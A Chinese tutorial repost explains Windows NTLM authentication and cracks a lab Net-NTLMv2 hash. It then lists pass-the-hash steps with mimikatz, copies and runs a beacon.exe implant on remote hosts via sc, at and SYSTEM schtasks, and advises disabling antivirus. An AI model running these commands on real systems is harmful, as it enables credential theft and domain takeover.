windows认证机制_NTLM

news2024/11/18 14:52:41

文章目录

      • 概念
      • 本地认证 NTLM
      • LM
      • NTML
      • 原理
      • 网络认证 Net NTLM
      • 实际测试
      • 利用
        • hash传递浏览上传⽂件
        • 使用 mimikatz
      • hash传递获取域控RDP
      • mimikatz工具使用案例

概念

原文参考：xiu --》http://www.xiusafe.com/

域渗透就是基于 windows 域环境的渗透，而域渗透涉及到的技术，如哈希传递（PTH）票据传递（PTT）委派攻击等，都是基于域环境下的认证机制来实现的，这也是为什么要了解 Windows 认证机制的原因之一

Windows 的认证包括三个部分，用户直接操作计算机登陆账户（本地认证），远程连接到工作组中的某个设备（网络认证），登陆到域环境中的某个设备（域认证）
早期SMB协议铭⽂在⽹络上传输数据，后来诞⽣了LM验证机制，LM机制由于过于简
单，微软提出了WindowsNT挑战/响应机制，这就是NTLM

本地认证 NTLM

本地认证十分简单：用户输入密码，系统收到密码后将用户输入的密码计算成 NTLM Hash，然后与 sam 数据库（% SystemRoot%\system32\config\sam）中该用户的哈希比对，匹配则登陆成功，不匹配则登陆失败

NTLM 哈希是一种单向哈希算法，Windows 将用户的密码计算成 NTLM 哈希之后才存储在电脑中

大致的运算流程为：

用户密码->HEX编码->Unicode编码->MD4

LM

在这里插入图片描述

NTML

在这里插入图片描述

本地认证中用来处理用户输入密码的进程即 lsass.exe, 密码会在这个进程中明文保存，供该进程将密码计算成 NTLM Hash
与 sam 进行比对

在渗透测试中，通常可从 Windows 系统中的 SAM 文件和域控的 NTDS.dit 文件中获得所有用户的 hash，通过 Mimikatz 读取 lsass.exe 进程能获得已登录用户的 NTLM hash

原理

哈希传递是能够在不需要账号明⽂密码的情况下完成认证的⼀个技术，⽐如NTLM
Hash、 LM Hash都不需要明⽂密码因此都可以被称为Hash传递攻击。
NTLM验证靠HASH值
1.获得⼀台域主机的权限
2.Dump内存获得⽤⼾hash
3.通过pass the hash尝试登录其他主机
4.继续搜集hash并尝试远程登录
5.直到获得域管理员账⼾hash，登录域控，最终成功控制整个域

1、client发送账户名user到server
2、server判断本地账户名是否存在，没有则失败，有的话生成challenge，查找user
对应的NTLM哈希，使用哈希加密challenge，生成一个net-ntlm hash存在内存中，将
challenge发送给client
3、client接受到challenge以后，将自己的密码转换成NTLM哈希，用生成的哈希加密
challenge生成response，发送response给server
4、server对比自己内存中的net-ntlm hash与client发来的response是否一致
注意:challenge每次认证都不一样，是一个随机生成的16字节随机数，response的形
势与server生成的net-ntlm hash一个格式

通过认证流程我们不难看出，只要有NTLM哈希在⼿，哪怕不知道明⽂密码也可以完
成NTLM的认证

网络认证 Net NTLM

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
Net NTLM 的认证过程分为三步，也叫挑战响应机制：
1 协商
2质询
3 验证
协商：双方确定使用的协议版本，在 NTLM 认证中，NTLM 响应分为 NTLM v1，NTLMv2，NTLM session v2 三种协议，不同协议使用不同格式的 Challenge 和加密算法

所以也就存在不同协议的 Net-NTLM hash，即 Net-NTLM v1 hash，Net-NTLM v2 hash
质询：挑战（Chalenge）/ 响应（Response）认证机制的核

  1. 客户端向服务器端发送用户信息 (用户名) 请求
  1. 服务器接受到请求后，判断本地用户列表是否存在客户端发送的用户名，如果没有返回认证失败，如果有，生成一个 16 位的随机数，被称之为 “Challenge”， 然后使用登录用户名对应的 NTLM Hash 加密 Challenge (16 位随机字符)， 生成 Challenge1 保存在内存中。同时，生成 Challenge1 后，将 Challenge (16 位随机字符) 发送给客户端。
  1. 客户端接受到 Challenge 后，使用自己提供的账户的密码转换成对应的 NTLM Hash，然后使用这个 NTLM Hash 加密 Challenge 生成 Response，然后将 Response 发送至服务器端。

验证：在质询完成后，验证结果，是认证的最后一步。
在这里插入图片描述

在这里插入图片描述

服务端收到客户端发送的 Response 后，与之前保存在内存中的 Challenge 比较，如果相等认证通过

其中，经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash（不能直接用来进行哈希传递攻击，但可以通过暴力破解来获取明文密码）

实际测试

远程机器：192.168.217.129
用户名：administrator
密码：hongrisec@2020
本地：192.168.217.1

在这里插入图片描述
抓包发现前 4 个包是协商协议版本，从 smb 转为 smbv2
在这里插入图片描述
本地发送质询包，远程机器响应携带 Ntlm Server Challenge 为

8f69a97378430a53

在这里插入图片描述
查看本地发送的第二个质询包，加密后的 challenge 为

0822a40326fd8eab

在这里插入图片描述
Response 数据为

fafc5895fbeff4fb303acf5c74b1424d01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000

下面，使用 Hashcat 对该 Net-NTLM hash 进行破解
NTLMv2 的格式为：

username::domain:challenge:HMAC-MD5:blob注：challenge为NTLM Server Challenge，domian由数据包内容获得(IP或者机器名)HMAC-MD5对应数据包中的NTProofStr

构造的数据如下：

administrator::god.org:8f69a97378430a53:fafc5895fbeff4fb303acf5c74b1424d:01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000


   新建字典添加 hongrisec@2020

   Hashcat 参数如下：
   

```bash
hashcat -m 5600 administrator::god.org:8f69a97378430a53:fafc5895fbeff4fb303acf5c74b1424d:01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000 password.list -o result.txt --force

说明：

-m：hash-type，5600 对应 NetNTLMv2，详细参数可查表：https://hashcat.net/wiki/doku.php?

-o：输出文件 字典文件为 password.list

–force 代表强制执行，测试系统不支持 Intel OpenCL

成功破解出登录的明文密码，输出如下图

在这里插入图片描述
成功破解出密码 hongrisec@2020

工作组环境和域环境下 Net NTLM 认证过程因为有 DC（域控制器）的参与流程略有差异，不过不影响进行哈希传递攻击

利用

hash传递浏览上传⽂件

注意：

当域内的⽤⼾想要访问域中的某个服务时，输⼊⽤⼾名和密码访问，本机kerberos服
务会向KDC的AS认证服务发送⼀个AS-REQ认证请求。该请求包中包含： 请求的⽤⼾
名、客⼾端主机名、加密类型 和 Authenticator(⽤⼾NTLM Hash加密的时间戳)以及
⼀些其他信息
在AS-REQ阶段，是⽤⽤⼾密码Hash加密的Authenticator，所以也就造成了hash传
递。我们只需要获取域⽤⼾Hash，同时⽬标机器开放smb服务，就可以进⾏Hash传
递攻击。

使用 mimikatz

注意mimikatz（猕猴桃）容易崩溃，操作过程要快

privilege::debug 提升权限(注：需以管理员权
限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息

# pth指passha要进行传递(test.com)
sekurlsa::pth /user:administrator /domain:域名  /ntlm:4026ebdb8a9805d4a7b341a23077275a 

弹出新窗口
dir \\10.10.10.254\c$

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath= "c:\beacon.exe"
#远程查询名为test的服务

sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test
#at命令(计划任务) at命令在早期的Windows系统中⽀持，⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏，将执⾏结果写⼊本地⽂本⽂件，再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \10.10.10.254\C$\1.txt
#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system，启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数：
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com

hash传递获取域控RDP

privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

在这里插入图片描述0
如果域控这个位置是灰⾊那就不允许这种⽅式登录

mimikatz工具使用案例

此工具没有免杀，关闭所有的杀毒软件
在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1082109.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

第二证券：中概股，昨夜狂飙！

第二证券：中概股，昨夜狂飙！

当地时间10月10日，美股三大股指集体收高，其间道指涨0.40%，标普指数涨0.52%，纳斯达克指数涨0.58%。多位美联储官员鸽派讲话支撑不再加息，投资者等待美联储9月会议纪要、美国CPI通胀数据及企业三季报等要素支撑美股持续走…
阅读更多...
基于Docker来部署Nacos的注册中心

基于Docker来部署Nacos的注册中心

基于Docker来部署Nacos的注册中心 准备MySQL数据库表nacos.sql，用来存储Nacos的数据。 最终表结构如下： 在本地nacos/custom.env文件中，有一个MYSQL_SERVICE_HOST也就是mysql地址，需要修改为你自己的虚拟机IP地址： …
阅读更多...
铝型材公司【Brilliance Group】申请1080万美元纳斯达克IPO上市

铝型材公司【Brilliance Group】申请1080万美元纳斯达克IPO上市

来源：猛兽财经 作者：猛兽财经 猛兽财经获悉，总部位于新加坡的铝型材公司【Brilliance Group】近期已向美国证券交易委员会（SEC）提交招股书，申请在纳斯达克IPO上市，股票代码为(KHIW),Brilliance…
阅读更多...
python爬虫练手项目之获取某地企业名录

python爬虫练手项目之获取某地企业名录

因为很多网站都增加了登录验证，所以需要添加一段利用cookies跳过登陆验证码的操作 import pandas as pd import requests from lxml import etree # 通过Chrome浏览器F12来获取cookies，agent，headers cookies {ssxmod_itna2:eqfx0DgQGQ0QGDC…
阅读更多...
python每日一练(5)

python每日一练(5)

🌈write in front🌈 🧸大家好，我是Aileen🧸.希望你看完之后，能对你有所帮助，不足请指正！共同学习交流. 🆔本文由Aileen_0v0🧸 原创 CSDN首发🐒 如…
阅读更多...
网页报错 Uncaught TypeError: a(...).tooltip is not a function

网页报错 Uncaught TypeError: a(...).tooltip is not a function

网页报错 Uncaught TypeError: a(…).tooltip is not a function 网页上f12看了一下控制台有一个报错 ：Uncaught TypeError: a(…).tooltip is not a function 排查查找了一下原因，是网页嵌套，报错原因是引入了两次jquery，注释掉…
阅读更多...
数学建模、统计建模、计量建模整体框架的理解以及建模的步骤

数学建模、统计建模、计量建模整体框架的理解以及建模的步骤

数学建模、统计建模、计量建模整体框架的理解以及建模的步骤 引言正文模型的设定模型的估计建模中可能遇到的四种数据类型 模型的检验模型的应用 最后 引言 这篇博客主要写给统计或者数学专业的小白，以供快速上手建模比赛；本人将在这里整合参加建模比赛…
阅读更多...
基于nodemailer实现邮件发送

基于nodemailer实现邮件发送

概述 node中可用nodemailer实现邮件的发送。本文使用QQ邮箱实现邮件的发送。 实现效果 实现 1. QQ邮箱配置 首先需要开启POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务，如下图所示。 生成授权码 2. 发送邮件 发送邮件的代码比较简单，如下&#xf…
阅读更多...
197、管理 RabbitMQ 的虚拟主机

197、管理 RabbitMQ 的虚拟主机

开启Rabbitmq的一些命令： 小黑窗输入： rabbitmq-plugins enable rabbitmq_management 启动控制台插件， 就是启动登录rabbitmq控制台的页面，rabbitmq_management 代表了RabbitMQ的管理界面。 rabbitmq-server 启动rabbitMQ服务器…
阅读更多...
Jetson Orin NX 开发指南（5）: 安装 OpenCV 4.6.0 并配置 CUDA 以支持 GPU 加速

Jetson Orin NX 开发指南（5）: 安装 OpenCV 4.6.0 并配置 CUDA 以支持 GPU 加速

一、前言 Jetson 系列的开发板 CPU 性能不是很强，往往需要采用 GPU 加速的方式处理图像数据，因此本文主要介绍如何安装带有 GPU 加速的 OpenCV，其中 GPU 加速通过 CUDA 来实现。 参考博客 Ubuntu 20.04 配置 VINS-Fusion-gpu OpenCV 4.6.…
阅读更多...
分布式锁3：基于redis的插件redission实现分布式锁

分布式锁3：基于redis的插件redission实现分布式锁

一 redision简介 1.1 redission介绍 Redisson分布式锁是一种基于redis实现的分布式锁，它利用redis的setnx命令实现分布式锁的互斥访问。同时还支持锁的自动续期功能，可以避免因为某个进程崩溃或者网络故障导致锁无法释放的情况。 只要线程一加锁成功…
阅读更多...
Java8实战-总结41

Java8实战-总结41

Java8实战-总结41 用Optional取代nullOptional 类入门应用 Optional 的几种模式创建 Optional 对象使用 map 从 Optional 对象中提取和转换值 用Optional取代null Optional 类入门 Java 8中引入了一个新的类java.util.Optional<T>。这是一个封装Optional值的类。举例来…
阅读更多...
数据库基础（一）

数据库基础（一）

数据库面试基础 注&#xff0c;本文章内容主要来自于JAVAGUIDE&#xff0c;只是结合网上资料和自己的知识缺陷进行一点补充&#xff0c;需要准备面试的请访问官方网址。 一、范式 参考链接 函数依赖&#xff1a;一张表中&#xff0c;确定X则必定能确定Y&#xff0c;则X->…
阅读更多...
Factory-Method

Factory-Method

Factory-Method 动机 在软件系统中&#xff0c;经常面临着创建对象的工作&#xff1b;由于需求的变化&#xff0c;需要创建的对象的具体类型经常变化。如何应对这种变化&#xff1f;如何绕过常规的对象创建方法(new)&#xff0c;提供一种“封装机制”来避免客户程序和这种“具…
阅读更多...
【JQuery插件】手把手教你如何白瓢一个网站的全部付费资源！前端狂喜

【JQuery插件】手把手教你如何白瓢一个网站的全部付费资源！前端狂喜

视频讲解地址&#xff1a;https://www.bilibili.com/video/BV1bm4y157GF/ 网站地址&#xff1a;https://www.jq22.com/ 大家好&#xff0c;这一集给大家分享一个好用的JQuery插件网站&#xff0c;当然&#xff0c;更主要的是教大家如何白瓢这个网站上的资源&#xff0c;这个网…
阅读更多...
Harmony ArkTS语言

Harmony ArkTS语言

ArkTS语言 前言正文一、声明式UI二、数据列表① 创建ArkTS文件② 添加资源③ 样式④ 组件⑤ 标题组件⑥ 列表头组件⑦ 列表Item组件⑧ 组件生命周期⑨ 渲染列表数据⑩ 单选 三、源码 随着华为宣布鸿蒙后续的版本不再兼容Android应用之后&#xff0c;对于现在的开发环境来说有一…
阅读更多...
Databend join reorder 策略

Databend join reorder 策略

join order 的重要性 Join order 是指在执行SQL查询时&#xff0c;决定多个表进行 join 的顺序。它是数据库查询优化的一个重要方面&#xff0c;对查询性能和效率有着重要的影响&#xff0c; 不同的 join order 对性能可能有数量级的影响。 优化器优化 join order 的核心流程…
阅读更多...
springboot项目Html页面引入css文件不生效

springboot项目Html页面引入css文件不生效

我的出错原因&#xff1a; 在调用css文件时&#xff1a; <link rel"stylesheet" type"text/css" href"/static/css/style.css" /> 这里我多加了一个/static,而使得css样式不生效 因为在springboot项目中&#xff0c;静态资源是默认存…
阅读更多...
【每日一题】151. 反转字符串中的单词

【每日一题】151. 反转字符串中的单词

151. 反转字符串中的单词 - 力扣&#xff08;LeetCode&#xff09; 给你一个字符串 s &#xff0c;请你反转字符串中 单词 的顺序。 单词 是由非空格字符组成的字符串。s 中使用至少一个空格将字符串中的 单词 分隔开。 返回 单词 顺序颠倒且 单词 之间用单个空格连接的结果字符…
阅读更多...
MySQL中使用函数会使索引失效？

MySQL中使用函数会使索引失效？

文章目录 1、前置准备2、ChatGPT的答案3、实践证明SQL1SQL2SQL3SQL4SQL5 4、总结 1、前置准备 首先创建我们要测试的库表 CREATE TABLE lianhe_index (id int(11) NOT NULL AUTO_INCREMENT COMMENT id,name varchar(255) DEFAULT NULL,age int(11) DEFAULT NULL,number int(1…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023